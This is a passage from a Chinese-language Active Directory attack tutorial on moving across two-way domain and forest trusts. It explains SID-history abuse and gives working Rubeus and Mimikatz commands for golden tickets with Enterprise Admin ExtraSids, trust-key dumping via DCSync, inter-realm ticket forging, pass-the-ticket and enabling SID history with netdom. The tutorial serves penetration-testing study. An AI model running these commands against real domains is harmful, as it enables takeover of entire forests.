双向信任
有了上一小节的理论基础,我们来利用双向信任实现域间的移动。因为双向信任既可以发生于森林之内,也可以发生于森林之间,因此我们分别讨论。
森林之内
森林之内的横向移动是最简单的情形,因为信任是相互的,例如从子域移动到父域。我们有 2 种方式在森林之内移动,分别是利用 krbtgt 以及信任密钥,我们在 Dc01 上进行利用。
krbtgt
由于信任在 AD 森林中的作用方式,sidHistory 属性 (PAC 中的 ExtraSids) 在森林的域中是起作用的,因为这些 SID 不会在跨域引用中被 SID 过滤器过滤掉。因此,将 sidHistory/ExtraSids 设置为根域中的企业管理员的 SID 能够奏效,就好像他们真的是是企业管理员一样。Microsoft 已经知道这是一个问题,因此 sidHistory 是一个受保护的属性,很难修改,在以前对其的利用也是相当复杂的。
现在,有了 Mimikatz/Rubeus 的黄金票据模块,攻击者可以为伪造的票据设置 KERB_VALIDATION_INFO 结构体 (该结构“定义了 DC 提供的用户登录和授权信息) 中的 ExtraSids 部分,ExtraSids 被描述为指向 KERB_SID_AND_ATTRIBUTES 结构体列表的指针,该结构包含与主体所属域以外的域中的组相对应的 SID 列表。
因此,如果攻击者在森林中的任何子域中能有权限检索子域的 krbtgt 哈希,将根域的企业管理员的 SID 添加到 Mimikatz 伪造的黄金票据中,便可以接管整片森林。
但,这仅适用于在森林内的双向信任,由于 SID 过滤,这不适用于森林直接的双向信任。我们来看看利用的过程:
获得子域的 krbtgt 密钥:
将 ExtraSids 设置为企业管理员的 SID
Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap
创建牺牲会话、导入票据以及验证访问。
信任密钥
首先我们需要得到信任密钥,通过下述命令之一获得:
mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
mimikatz lsadump::trust /patch
如下图所示,得到的密钥是一致的。如果用的后者,寻找 [In] 信任密钥。
接下来,我们需要申请跨域 TGT
kerberos::golden /domain:<当前域> /sid:<当前域SID> /sids:<外部域EA的SID> /rc4:<信任密钥> /user:Administrator /service:krbtgt /target:<目标域> /ticket:<票据位置>
最后,使用Rubeus 申请 TGS
rubeus.exe asktgs /ticket:<生成的票据> /service:cifs/<目标域控fqdb> /dc:<目标域控 fqdn > /ptt
最后,导入票据并验证访问
森林之间
请记住,森林是 AD 中安全的边界,而域不是,因此利用森林直接的双向信任我们会遇到其他的限制。我们在 Dc02 上试图通过利用森林间的双向信任移动到 White-bird 域中。
对于具有双向信任的森林之间的移动,步骤整体相似,但是在上一小节我们提到了 SID 过滤器,因此我们需要寻找出 RID ≥1000 的组。最终,以上的命令看起来应该是这样
kerberos::golden /user:Administrator /domain:red.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:799a0ae7e6ce96369aa7f1e9da25175a /service:krbtgt /target:sec.local /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ticket:C:\Windows\tasks\intkey.kirbi
或者
kerberos::golden /user:administrator /domain:htb.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /krbtgt:799a0ae7e6ce96369aa7f1e9da25175a /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ptt
在森林之间,SID 历史有时候需要禁用状态的,这需要目标 DC 启用 SID 历史 (启用SID 历史意味着禁用 SID 过滤器,反之亦然)。
如果试图在 red.local 与 sec.local 森林之间移动,开启 SID 历史的命令如下
在 red.local:netdom trust red.local /d:sec.local /enablesidhistory:yes
在 sec.local:netdom trust sec.local /d:red.local /enablesidhistory:yes